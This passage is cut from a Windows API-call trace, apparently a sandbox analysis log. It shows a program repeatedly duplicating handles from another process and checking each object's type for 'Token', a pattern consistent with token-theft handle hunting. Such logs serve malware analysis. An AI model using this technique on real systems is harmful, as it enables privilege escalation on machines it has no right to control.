ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.851] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.851] LocalFree (hMem=0x160a40) returned 0x0 [0196.851] CloseHandle (hObject=0x16c) returned 1 [0196.851] CloseHandle (hObject=0x168) returned 1 [0196.851] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.851] GetCurrentProcess () returned 0xffffffffffffffff [0196.852] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x368, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.852] LocalAlloc (uFlags=0x40, uBytes=0x80) returned 0x181a40 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x181a40, ObjectInformationLength=0x80, ReturnLength=0x10fa40 | out: ObjectInformation=0x181a40, ReturnLength=0x10fa40) returned 0x0 [0196.852] RtlEqualUnicodeString (String1="ALPC Port", String2="Token", CaseInsensitive=1) returned 0 [0196.852] LocalFree (hMem=0x181a40) returned 0x0 [0196.852] CloseHandle (hObject=0x16c) returned 1 [0196.852] CloseHandle (hObject=0x168) returned 1 [0196.852] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.852] GetCurrentProcess () returned 0xffffffffffffffff [0196.852] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x370, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.852] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.852] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.852] LocalFree (hMem=0x160a40) returned 0x0 [0196.852] CloseHandle (hObject=0x16c) returned 1 [0196.852] CloseHandle (hObject=0x168) returned 1 [0196.852] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.852] GetCurrentProcess () returned 0xffffffffffffffff [0196.852] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x374, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.852] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.852] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.853] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.853] LocalFree (hMem=0x160a40) returned 0x0 [0196.853] CloseHandle (hObject=0x16c) returned 1 [0196.853] CloseHandle (hObject=0x168) returned 1 [0196.853] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.853] GetCurrentProcess () returned 0xffffffffffffffff [0196.853] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x37c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.853] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.853] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.853] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.853] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.853] LocalFree (hMem=0x160a40) returned 0x0 [0196.853] CloseHandle (hObject=0x16c) returned 1 [0196.853] CloseHandle (hObject=0x168) returned 1 [0196.853] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.853] GetCurrentProcess () returned 0xffffffffffffffff [0196.853] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x380, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.853] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.853] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.853] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.853] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.853] LocalFree (hMem=0x160a40) returned 0x0 [0196.853] CloseHandle (hObject=0x16c) returned 1 [0196.853] CloseHandle (hObject=0x168) returned 1 [0196.854] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.854] GetCurrentProcess () returned 0xffffffffffffffff [0196.854] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x388, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.854] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.854] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.854] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.854] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.854] LocalFree (hMem=0x160a40) returned 0x0 [0196.854] CloseHandle (hObject=0x16c) returned 1 [0196.854] CloseHandle (hObject=0x168) returned 1 [0196.854] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.854] GetCurrentProcess () returned 0xffffffffffffffff [0196.854] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x38c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.854] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.854] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.854] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.854] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.854] LocalFree (hMem=0x160a40) returned 0x0 [0196.854] CloseHandle (hObject=0x16c) returned 1 [0196.854] CloseHandle (hObject=0x168) returned 1 [0196.854] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.854] GetCurrentProcess () returned 0xffffffffffffffff [0196.854] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x390, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.854] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.855] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.855] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.855] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.855] LocalFree (hMem=0x160a40) returned 0x0 [0196.855] CloseHandle (hObject=0x16c) returned 1 [0196.855] CloseHandle (hObject=0x168) returned 1 [0196.855] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.855] GetCurrentProcess () returned 0xffffffffffffffff [0196.855] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x394, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.855] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.855] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.855] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.855] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.855] LocalFree (hMem=0x160a40) returned 0x0 [0196.855] CloseHandle (hObject=0x16c) returned 1 [0196.855] CloseHandle (hObject=0x168) returned 1 [0196.855] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.855] GetCurrentProcess () returned 0xffffffffffffffff [0196.855] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x398, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.855] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.855] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.855] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.855] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.855] LocalFree (hMem=0x160a40) returned 0x0 [0196.855] CloseHandle (hObject=0x16c) returned 1 [0196.856] CloseHandle (hObject=0x168) returned 1 [0196.856] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.856] GetCurrentProcess () returned 0xffffffffffffffff [0196.856] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x39c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.856] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.856] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.856] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.856] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.856] LocalFree (hMem=0x160a40) returned 0x0 [0196.856] CloseHandle (hObject=0x16c) returned 1 [0196.856] CloseHandle (hObject=0x168) returned 1 [0196.856] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.856] GetCurrentProcess () returned 0xffffffffffffffff [0196.856] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3a0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.856] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.856] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.856] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.856] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.856] LocalFree (hMem=0x160a40) returned 0x0 [0196.856] CloseHandle (hObject=0x16c) returned 1 [0196.856] CloseHandle (hObject=0x168) returned 1 [0196.856] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.856] GetCurrentProcess () returned 0xffffffffffffffff [0196.856] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3a4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.857] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.857] RtlEqualUnicodeString (String1="Section", String2="Token", CaseInsensitive=1) returned 0 [0196.857] LocalFree (hMem=0x160a40) returned 0x0 [0196.857] CloseHandle (hObject=0x16c) returned 1 [0196.857] CloseHandle (hObject=0x168) returned 1 [0196.857] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.857] GetCurrentProcess () returned 0xffffffffffffffff [0196.857] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3ac, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.857] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.857] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.857] LocalFree (hMem=0x160a40) returned 0x0 [0196.857] CloseHandle (hObject=0x16c) returned 1 [0196.857] CloseHandle (hObject=0x168) returned 1 [0196.857] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.857] GetCurrentProcess () returned 0xffffffffffffffff [0196.857] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3b0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.857] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.857] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.857] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.858] LocalFree (hMem=0x160a40) returned 0x0 [0196.858] CloseHandle (hObject=0x16c) returned 1 [0196.858] CloseHandle (hObject=0x168) returned 1 [0196.858] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.858] GetCurrentProcess () returned 0xffffffffffffffff [0196.858] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3b4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.858] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.858] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.858] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.858] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.858] LocalFree (hMem=0x160a40) returned 0x0 [0196.858] CloseHandle (hObject=0x16c) returned 1 [0196.858] CloseHandle (hObject=0x168) returned 1 [0196.858] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.858] GetCurrentProcess () returned 0xffffffffffffffff [0196.858] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3b8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.858] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.858] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.858] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.858] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.858] LocalFree (hMem=0x160a40) returned 0x0 [0196.858] CloseHandle (hObject=0x16c) returned 1 [0196.858] CloseHandle (hObject=0x168) returned 1 [0196.858] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.859] GetCurrentProcess () returned 0xffffffffffffffff [0196.859] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3bc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.859] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.859] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.859] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.859] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.859] LocalFree (hMem=0x160a40) returned 0x0 [0196.859] CloseHandle (hObject=0x16c) returned 1 [0196.859] CloseHandle (hObject=0x168) returned 1 [0196.859] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.859] GetCurrentProcess () returned 0xffffffffffffffff [0196.859] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3c0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.859] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.859] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.859] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.859] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.859] LocalFree (hMem=0x160a40) returned 0x0 [0196.859] CloseHandle (hObject=0x16c) returned 1 [0196.859] CloseHandle (hObject=0x168) returned 1 [0196.859] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.859] GetCurrentProcess () returned 0xffffffffffffffff [0196.859] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3c8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.860] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.860] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.860] LocalFree (hMem=0x160a40) returned 0x0 [0196.860] CloseHandle (hObject=0x16c) returned 1 [0196.860] CloseHandle (hObject=0x168) returned 1 [0196.860] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.860] GetCurrentProcess () returned 0xffffffffffffffff [0196.860] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3cc, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.860] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.860] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.860] LocalFree (hMem=0x160a40) returned 0x0 [0196.860] CloseHandle (hObject=0x16c) returned 1 [0196.860] CloseHandle (hObject=0x168) returned 1 [0196.860] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.860] GetCurrentProcess () returned 0xffffffffffffffff [0196.860] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3d0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.860] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.860] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.861] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.861] LocalFree (hMem=0x160a40) returned 0x0 [0196.861] CloseHandle (hObject=0x16c) returned 1 [0196.861] CloseHandle (hObject=0x168) returned 1 [0196.861] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.861] GetCurrentProcess () returned 0xffffffffffffffff [0196.861] DuplicateHandle (in: hSourceProcessHandle=0x168, hSourceHandle=0x3d4, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fa48, dwDesiredAccess=0xa, bInheritHandle=1, dwOptions=0x0 | out: lpTargetHandle=0x10fa48*=0x16c) returned 1 [0196.861] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x10fa40 | out: ObjectInformation=0x0, ReturnLength=0x10fa40) returned 0xc0000004 [0196.861] LocalAlloc (uFlags=0x40, uBytes=0x78) returned 0x160a40 [0196.861] NtQueryObject (in: Handle=0x16c, ObjectInformationClass=0x2, ObjectInformation=0x160a40, ObjectInformationLength=0x78, ReturnLength=0x10fa40 | out: ObjectInformation=0x160a40, ReturnLength=0x10fa40) returned 0x0 [0196.861] RtlEqualUnicodeString (String1="Thread", String2="Token", CaseInsensitive=1) returned 0 [0196.861] LocalFree (hMem=0x160a40) returned 0x0 [0196.861] CloseHandle (hObject=0x16c) returned 1 [0196.861] CloseHandle (hObject=0x168) returned 1 [0196.861] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.861] GetCurrentProcess () returned 0xffffffffffffffff [0196.861] DuplicateHandle (in: 